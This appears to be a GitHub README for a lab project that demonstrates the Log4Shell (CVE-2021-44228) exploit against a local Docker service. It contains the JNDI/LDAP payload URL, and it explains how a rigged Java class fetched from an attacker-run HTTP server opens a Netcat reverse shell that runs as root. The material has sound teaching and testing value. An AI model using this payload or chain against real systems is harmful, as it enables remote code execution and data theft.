/log4j-vulnerability

Presents how to exploit CVE-2021-44228 vulnerability.

Primary LanguageJava

LOG4J Vulnerability

A Java-based project presenting how to exploit CVE-2021-44228 vulnerability.

Log4j.Vulnerability.mp4

Requirements

  • A Linux-based operating system: I used Ubuntu Desktop 20.10 64 bits
  • OpenJDK 17.0.1: To build the exploitation program. Newer versions might work as well.
  • Oracle Java Development Kit (JDK) 1.8.0_181: This is essential for the exploitation to work. It is not necessary to have it installed, but the project needs it extracted on the root directory. The JDK can be found on Oracle Java SE 8 Archive Downloads (JDK 8u202 and earlier) page.
  • Apache Maven 3.6.3: To manage dependencies and generate jar files. Later versions might work as well.
  • Docker 20.10.12: To manage the container which contains the service to be exploited. Later versions might work as well.
  • Docker-compose 1.29.2: To help orchestrate the image generation as well as the container creation, execution and removal. Later versions might work as well.
  • GNU Make 4.3: This project uses Makefile to help verify and generate mandatory files. Later versions might work as well.
  • OpenBSD Netcat (aka nc): To create the communication with the invaded server. This package can be install through your Linux distribution package manager (like apt).
  • (Recommended) IntelliJ IDEA Community Edition 2021.3.1: If you want to check what is under the hood of these projects then I recommend installing this IDE. Once again, later versions might work as well.

Execution

  1. Clone this repository into our local machine.
  2. Download Oracle Java SE 8 Archive Downloads (JDK 8u202 and earlier) page and extract it on the project root directory. Keep it under the jdk1.8.0_181 directory created during the extraction.
  3. Run make all to build all projects and create a Docker image with the vulnerable service.
  4. Open three terminals and run the following commands:
    1. First terminal: make start-vulnerable-service to start a Docker container running the service to be exploited. The service will accessible through local machine port 8080
    2. Second terminal: make start-nc to start a TCP listener which will wait for the connection with the invaded server to be stablished.
    3. Third terminal: make start-exploiter to start the program which will help us exploit the vulnerability.
  5. After starting the third terminal, exploiter program will present an URL to access. Paste it on your browser to start the exploitation.
  6. If everything happened as expected, the browser will not receive a response and the browser will be stuck in a loading status.
  7. Now check the second terminal (the one where make start-nc has been executed). You might have received a message like Connection received on 172.24.0.2 46638 (IP address and TCP port might not be the same as presented here). This means that the exploitation worked and we now have a shell connected on the server/Docker container.
  8. To be sure if everything occurred as expected, try to execute a whoami command. You might receive root as output.
  9. Now try to run cat ../private-directory/my-secret-file.txt to see what happens. 🙂
  10. Once you have finished messing up with the server, press CTRL+C to close the connection.
  11. You can also press CTRL+C on the other terminals to interrupt the processes.

How does it work?

Before answering that, let us take a look about the processes created throughout the flow.

log4-vulnerability processeses

Docker container

This docker container will serve a simple HTTP service responsible to receive GET requests on /log path with an input parameter. Once it receives, it logs the input on conosole.

docker-container.mp4

In order to exploit the vulnerability, a few specific configurations are required:

  • The Java runtime environment (JRE) version used to run the service is 1.8.0_181. This is necessary to allow a Java class to be loaded from an external service.
  • The Java project dependencies have to be heavily modified to replace default spring-boot-starter-logging:2.6.1 by spring-boot-starter-log4j2:2.6.1. The later brings log4j-core:2.14.1 to the project, which is a version vulnerable to CVE-2021-44228.

dependency-tree

  • The service Jar file was created with Java compiler version 1.8.0_181.

Netcat (nc) program

There are no major explanations or tweaks here. This is a simple program used to read and write data through TCP and UDP protocols. We will use it to keep listening for incoming TCP connections on port 9001 (something else will open this connection for us on the server side. 😉).

Once it stablishes the connection, all incoming data will be outputted on the console. Also, all input written will be sent through this connection.

Exploiter

Now this is where the fun begins!

This program encapsulates several steps required to exploit the vulnerability. Let's break it down:

Execution arguments

In order to run this program, we need to inform three parameters:

  1. HTTP server and Netcat IP address/host: In order to exploit the vulnerability, we will need the HTTP server IP address relative to the vulnerable service so our LDAP response can redirect it to download the compiled Java class through it. It will also be used by the Java class itself to open a TCP connection with Netcat (explained above).
  2. HTTP server port: The port where the HTTP server responsible to send the compiled Java class will accept connections. It will also be sent with the LDAP response to inform the port from where the compiled Java class will be downloaded.
  3. Netcat port: The port where Netcat is listening for connections. It will be used by the compiled Java class to open a TCP connection with Netcat.

Exploit Java class

Once the program starts, it will write a Java code based on a template. This template requires two arguments: The Netcat IP address and port.

Once the code is written, the program will then compile it into a binary class file using Java compiler (javac) version 1.8.0_181. This is important to keep the same code version as the exploited service.

The Exploit Java class has rather a simple structure. On its constructor there is an instruction requesting the operating system to create a shell program. Once it is created, the class opens a TCP connection with Netcat, binds the shell & TCP connection inputs & outputs and traps the Java virtual machine execution into a loop until the connection is closed by Netcat. Once it exites the loop the constructor continues as if nothing has happened.

Marshalsec program

Exploiter opens a sub-process requesting Marshalsec Java program to be executed. Marshalsec program is available at mbechler/marchalsec Github project.

Along with other funcionalities, it manages LDAP requests and can be used to ask incoming connections to resolve requests by downloading Java classes from an external source. In our case, we will use it to request incoming connections to download our Exploit Java class from HTTP service.

HTTP service

Once Exploiter program has created the rigged Java class, it will start a HTTP service with a single response: The Exploit binary Java class.

To put it short, when the vulnerable service requests the external class to be loaded, this service will read the Java class binary file and send it back to the vulnerable service. Simple as that!

One HTTP request to rule them all

Once everything is up and running, the program will then output the HTTP request required to trigger the exploitation. Simply copy and paste it into your favourite browser or curl it throught a terminal, whichever works best for you!

The request will be something similar to this:

http://localhost:8080/log?input=%24%7Bjndi%3Aldap%3A%2F%2Fhost.docker.internal%3A1389%2Fa%7D

Since the query parameters contains special characters, they need to be encoded so the browser can accept it. If we decode it the message will be:

http://localhost:8080/log?input=${jndi:ldap://host.docker.internal:1389/a}

The communication flow

Here is a simplified diagram of what happens once the request is sent:

log4j-vulnerability communication flow

I will try to use it to explain what happens next:

  • The browser will send the HTTP request to our vulnerable service.
  • The vulnerable service will accept the request and logs the user input.
  • Once log4j receives the message, it notices that there is a content to be resolved: ${jndi:ldap://host.docker.internal:1389/a}.
  • According to the value, the content to be presented must be retrieved thought LDAP protocol from host.docker.internal:1389 using the a key (a rather dull and invalid LDAP distinguished name but, hey, as long as it works...). Log4j then sends a request to this address with the intent to retrieve the value.

Observation: host.docker.internal is a valid address from Docker service to reach the physical machine it is running on.

  • Marshalsec program (running locally on port 1389) will then accept the incoming request and ask the vulnerable service to download a Java class file available at host.docker.internal:8000 with the name Exploit to resolve the request.
  • Log4j then sends a request to host.docker.internal:8000 asking to get a resource available at /Exploit path.
  • The HTTP service (running locally on port 8000) will then respond the request sending the Exploit binary Java class.
  • Log4j then tries to instantiate the class to resolve the variable by executing its Exploit() constructor method.
  • Exploit() constructor method starts a shell program on the server, and requests a TCP channel to be opened with host.docker.internal:9001.
  • Netcat (running locally on port 9001) then accepts the incoming TCP connection.
  • Exploit() constructor method thens binds the shell inputs & outputs with the TCP connection and traps the Java Virtual Machine thread in a loop until the TCP connection is closed by the other side.
  • Netcat can now be used to send shell commands and receive outputs from the server.

Considerations

TBD

References

kozmer/log4j-shell-poc Github project - It helped me understand how the exploitation works. Thank you all who contributed to this project!

mbechler/marchalsec Github project - I would not be able to work with LDAP communication and redirection as quickly as I did without this project. Thank you folks!

SrcCodes Log4j Vulnerability video - A well explained video presenting how to start the exploitation on a Spring-based program.

Nowcomm CVE-2021-44228 exploit demo video - A nice video explaining how to exploit CVE-2021-44228 on Apache Solr. I had to watch the second half about a dozen times to understand what was actually happening! 😛